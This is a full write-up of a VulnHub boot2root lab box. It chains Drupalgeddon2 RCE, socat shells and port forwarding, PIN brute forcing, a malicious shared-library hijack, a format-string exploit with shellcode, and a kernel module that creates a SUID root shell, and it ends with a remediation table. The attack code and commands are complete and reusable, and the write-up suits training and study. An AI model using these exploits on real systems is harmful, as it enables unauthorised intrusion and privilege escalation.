VulnHub · Boot2Root · Full Writeup
An OSCP-style box: web foothold, four-user lateral movement, a shared-library hijack, a custom SUID format-string binary, and a sudo insmod kernel-module root. No Metasploit — every hop by hand.
73b5f7ea50ccf91bb5d1ecb6aa94ef1c
# full TCP + service/script scan
nmap -sV -sC -p- -T4 -Pn --open 192.168.56.130
| Port | Service | Notes |
|---|---|---|
| 21/tcp | vsftpd 3.0.3 | Anonymous login — only a WELCOME note |
| 5555/tcp | OpenSSH 7.4p1 | Non-standard port |
| 8000/tcp | nginx 1.10.3 | Drupal 7.57 ("PinkDrup") |
FTP anon held only the author's note ("stay away from Metasploit / pre-made tools"). CHANGELOG.txt pinned the version at Drupal 7.57 — inside the Drupalgeddon2 window. A gobuster sweep of :8000 showed standard Drupal scaffolding; the Drupal version itself was the way in.
Drupal < 7.58 is vulnerable to a pre-auth RCE via the Form API #post_render injection on /user/register (CVE-2018-7600). Exploited manually for a www-data shell, then stabilised with socat — the first of many uses tonight:
# target (through the RCE):
socat tcp-listen:7777,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane
# Kali:
socat file:/dev/tty,raw,echo=0 tcp:192.168.56.130:7777
'username' => 'dpink'
'password' => 'drupink'
The MySQL users table yielded admin pinkadmin (a phpass hash — slow to crack and, by design, a dead end).
| Bind | Service |
|---|---|
| 127.0.0.1:80 | PinkSec Control Panel (separate from Drupal) |
| 127.0.0.1:65334 | PSMC daemon (PSMCCLI's backend) |
| 127.0.0.1:3306 | MySQL |
Invisible to an external scan. Pivoted them out with socat port-forwards so Kali tooling could reach them:
socat tcp-listen:7778,reuseaddr,fork tcp:127.0.0.1:80 &
socat tcp-listen:7779,reuseaddr,fork tcp:127.0.0.1:65334 &
The internal :80 panel wants three fields: user, pass, and a 5-digit pin. A recoverable pwds.db wordlist fed a wfuzz run that found pinkadmin : AaPinkSecaAdmin4467; a 302 on the wrong-pin case confirmed user+pass, then the pin brute landed 55849.
wfuzz -c -z file,pin.txt \
-u 'http://192.168.56.130:7778/login.php' \
-d 'user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ' --hh 41
# -> 302 on pin 55849
The panel's /PinkysC0n7r0lP4n31337/index.php exposes a cmd= Execute field — command execution as pinksec (uid 1001). Dropped into a socat shell there.
A custom SUID binary in pinksec's home links against a world-writable library:
~pinksec/bin/pinksecd -rwsr-xr-x pinksecmanagement (SUID, 32-bit)
/lib/libpinksec.so -rwxrwxrwx (WORLD-WRITABLE)
No RPATH/RUNPATH — it resolves from /lib. Replace the library with one whose constructor fires at load time, before pinksecd's main calls the real symbols:
// libpinksec.so (malicious)
#include <stdlib.h>
#include <unistd.h>
void pwn() __attribute__((constructor));
void pwn(){ setreuid(1002,1002); setregid(1002,1002); system("/bin/bash -p"); }
void psbanner(){} void psopt(){} void psoptin(){} void psopt_init(){} // stubs
gcc -shared -fPIC -m32 -o libpinksec.so evil.c
cp libpinksec.so /lib/libpinksec.so
~/bin/pinksecd -d # constructor -> euid 1002
That gives euid 1002 but gid 1001. The next target, PSMCCLI, is gated behind group pinksecmanagement (gid 1002), so a real login with that primary group is needed. The pinksecmanagement home was now readable — dropped an SSH key and logged in on 5555:
ssh -i ~/.ssh/id_rsa -p 5555 pinksecmanagement@192.168.56.130
# id -> uid=1002 gid=1002(pinksecmanagement) -> can exec PSMCCLI
/usr/local/bin/PSMCCLI -rwsrwx--- pinky:pinksecmanagement (SUID pinky, 32-bit)
checksec: No canary · No PIE (0x8048000) · Partial RELRO · exec stack · ASLR off
The bug: argshow() calls printf(argv[1]) directly — a textbook format string (%p leaks the stack). After the vulnerable printf, control flow hits putchar() then exit(), both GOT-resolved — our overwrite targets.
GOT: printf 0x0804a00c · puts 0x0804a010 · exit 0x0804a014 · putchar 0x0804a01c
Strategy: use %hn writes to point the exit GOT at a NOP sled + execve shellcode carried in the payload on the stack. When exit() fires it jumps into the sled → shellcode → shell as pinky.
The box has no gdb, which breaks the usual fixenv approach. Two traps cost real time and are worth recording:
execve shifts $_; a huge env var pushes argv far down the parameter list) and the %hn writes hit a garbage pointer → SIGSEGV inside printf. Everything must be measured and fired under identical conditions — same launcher, same env, same payload length.
fixenv for deterministic stack addresses. With no gdb, leak the buffer's address live instead.
One stack dword printf walks is a pointer to argv[1]. %N$s on that slot dereferences and re-prints our own input — which identifies it — and %N$p then gives its address:
# find the param holding the pointer (marker re-prints doubled):
for i in $(seq 1 40); do
out=$(/usr/local/bin/PSMCCLI "ZZZZ%${i}\$s" 2>/dev/null)
echo "$out" | grep -q 'ZZZZZZZZ' && echo ">>> buffer-pointer param = $i"
done
# -> param 8
# read the address AT THE FIXED 300-byte length we will fire with:
/usr/local/bin/PSMCCLI "$(perl -e 'print "ZZZZ%8\$p", "A"x292')"
# -> buffer start = 0xbffff730
Then the content-write offset at that same 300-byte length:
for i in $(seq 100 320); do
base="BBBB%${i}\$p"; pad=$((300-${#base}))
probe="${base}$(perl -e "print 'C'x$pad")"
out=$(/usr/local/bin/PSMCCLI "$probe")
echo "$out" | grep -q 42424242 && echo ">>> content offset $i"
done
# -> 136
# make_exp.py (pwntools)
from pwn import *
context.clear(arch='i386')
EXIT_GOT = 0x0804a014
buf, target = 0xbffff730, 0xbffff730 + 0x96 # aim mid NOP-sled
# execve("/bin/bash","-p") — null-free, shell-storm #606:
sc = (b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")
fmt = fmtstr_payload(136, {EXIT_GOT: target}, write_size='short')
payload = fmt + b"\x90"*(300 - len(fmt) - len(sc)) + sc # fixed 300 bytes
open('exp','wb').write(payload)
# fire under the SAME launcher/length the calibration used:
/usr/local/bin/PSMCCLI "$(cat /tmp/exp)"
# -> euid=1000(pinky)
python -c 'import os; os.setreuid(1000,1000); os.execv("/bin/bash",["/bin/bash"])'
sudo -l
(ALL) NOPASSWD: /sbin/insmod
(ALL) NOPASSWD: /sbin/rmmod
Load a kernel module as root → root. Kernel headers are present (/lib/modules/4.9.0-6-686/build), so compile on the box.
cc1 and ld weren't found. Fixed with export COMPILER_PATH=/usr/lib/gcc/i686-linux-gnu/6:/usr/bin. Userspace linking still broke (crtbeginS.o, -lgcc), so the payload skips a C compile: the module just SUIDs a copy of bash. The module itself builds fine via kbuild.
// pinkit.c — on load, as root, make a SUID-root bash copy
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
static int __init pinkit_init(void){
char *argv[] = {"/bin/sh","-c",
"cp /bin/bash /tmp/rootsh; chown root:root /tmp/rootsh; chmod 4755 /tmp/rootsh", NULL};
char *envp[] = {"HOME=/","PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
return 0;
}
static void __exit pinkit_exit(void){}
module_init(pinkit_init); module_exit(pinkit_exit);
MODULE_LICENSE("GPL");
echo 'obj-m := pinkit.o' > Makefile
make -C /lib/modules/$(uname -r)/build M=/tmp modules
sudo /sbin/insmod /tmp/pinkit.ko
/tmp/rootsh -p
# id -> euid=0(root)
cat /root/root.txt # 73b5f7ea50ccf91bb5d1ecb6aa94ef1c
| # | Issue | Fix |
|---|---|---|
| 1 | Drupal 7.57 — Drupalgeddon2 pre-auth RCE | Patch to ≥ 7.58; keep the CMS current |
| 2 | DB creds in readable path / reused | Least-privilege DB user; no credential reuse |
| 3 | Admin panel brute-forceable (short pin, no lockout) | Rate-limit & lockout; strong secrets; MFA |
| 4 | Raw command-exec "Execute" panel | Never ship a command runner; sanitise or remove |
| 5 | World-writable /lib/libpinksec.so | Libraries root-owned, mode 644 |
| 6 | Format-string bug in SUID PSMCCLI | printf("%s", x), not printf(x); FORTIFY, canary, PIE, full RELRO, NX stack |
| 7 | NOPASSWD sudo on insmod/rmmod | Never grant module loading via sudo — it's root-equivalent |
| 8 | ASLR disabled | kernel.randomize_va_space=2 |
nmap · gobuster · searchsploit · socat (bind & reverse shells + port-forwarding) · wfuzz · mysql · gcc / kbuild · pwntools (fmtstr_payload) · manual format-string leaking.